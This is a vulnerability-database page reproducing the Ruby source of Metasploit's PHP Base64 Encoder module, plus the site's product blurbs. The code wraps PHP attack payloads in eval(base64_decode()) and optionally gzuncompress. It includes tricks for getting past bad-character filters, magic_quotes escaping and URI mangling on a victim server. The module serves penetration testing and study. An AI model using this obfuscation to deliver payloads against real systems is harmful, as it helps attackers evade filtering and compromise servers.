Lucene search
K

PHP Base64 Encoder

🗓️ 30 Apr 2009 06:11:56Reported by egypt <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 98 Views

PHP Base64 Encoder module for Metasploi

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder
  Rank = GreatRanking

  def initialize
    super(
      'Name' => 'PHP Base64 Encoder',
      'Description' => %q{
        This encoder returns a base64 string encapsulated in
        eval(base64_decode()), increasing the size by a bit more than
        one third.
      },
      'Author' => 'egypt',
      'License' => BSD_LICENSE,
      'Arch' => ARCH_PHP)
    register_options(
      [
        OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups.
      ],
      self.class)
  end

  def encode_block(state, buf)
    # Have to have these for the decoder stub, so if they're not available,
    # there's nothing we can do here.
    %w[c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ;].uniq.each do |c|
      raise BadcharError if state.badchars.include?(c)
    end

    if datastore['Compress']
      %w[g z u n c o m p r e s s].uniq.each do |c|
        raise BadcharError if state.badchars.include?(c)
      end
    end

    # Modern versions of PHP choke on unquoted literal strings.
    quote = "'"
    if state.badchars.include?("'")
      raise BadcharError.new, "The #{self.name} encoder failed to encode the decoder stub without bad characters." if state.badchars.include?('"')

      quote = '"'
    end

    if datastore['Compress']
      buf = Zlib::Deflate.deflate(buf)
    end

    # PHP escapes quotes by default with magic_quotes_gpc, so we use some
    # tricks to get around using them.
    #
    # The raw, unquoted base64 without the terminating equals works because
    # PHP treats it like a string.  There are, however, a couple of caveats
    # because first, PHP tries to parse the bare string as a constant.
    # Because of this, the string is limited to things that can be
    # identifiers, i.e., things that start with [a-zA-Z] and contain only
    # [a-zA-Z0-9_].  Also, for payloads that encode to more than 998
    # characters, only part of the payload gets unencoded on the victim,
    # presumably due to a limitation in PHP identifier name lengths, so we
    # break the encoded payload into roughly 900-byte chunks.
    #
    # https://wiki.php.net/rfc/deprecate-bareword-strings

    b64 = Rex::Text.encode_base64(buf)

    # The '=' or '==' used for padding at the end of the base64 encoded
    # data is unnecessary and can cause parse errors when we use it as a
    # raw string, so strip it off.
    b64.gsub!(/[=\n]+/, '')

    # Similarly, when we separate large payloads into chunks to avoid the
    # 998-byte problem mentioned above, we have to make sure that the first
    # character of each chunk is an alpha character.  This simple algorithm
    # will create a broken string in the case of 99 consecutive digits,
    # slashes, and plusses in the base64 encoding, but the likelihood of
    # that is low enough that I don't care.
    i = 900
    while i < b64.length
      i += 1 while (b64[i].chr =~ %r{[0-9/+]})
      b64.insert(i, '.')
      i += 900
    end

    # Plus characters ('+') in a uri are converted to spaces, so replace
    # them with something that PHP will turn into a plus.  Slashes cause
    # parse errors on the server side, so do the same for them.
    b64.gsub!('+', "#{quote}.chr(43).#{quote}")
    b64.gsub!('/', "#{quote}.chr(47).#{quote}")

    state.badchars.each_byte do |byte|
      # Last ditch effort, if any of the normal characters used by base64
      # are badchars, try to replace them with something that will become
      # the appropriate thing on the other side.
      if b64.include?(byte.chr)
        b64.gsub!(byte.chr, "#{quote}.chr(#{byte}).#{quote}")
      end
    end

    # In the case where a plus or slash happened at the end of a chunk,
    # we'll have two dots next to each other, so fix it up.  Note that this
    # is searching for literal dots, not a regex matching any two
    # characters
    b64.gsub!('..', '.')

    # Some of the shenanigans above could have appended a dot, which will
    # cause a syntax error.  Remove any trailing dots.
    b64.chomp!('.')

    if datastore['Compress']
      return 'eval(gzuncompress(base64_decode(' + quote + b64 + quote + ')));'
    else
      return 'eval(base64_decode(' + quote + b64 + quote + '));'
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Sep 2024 18:00Current
7.3High risk
Vulners AI Score7.3
98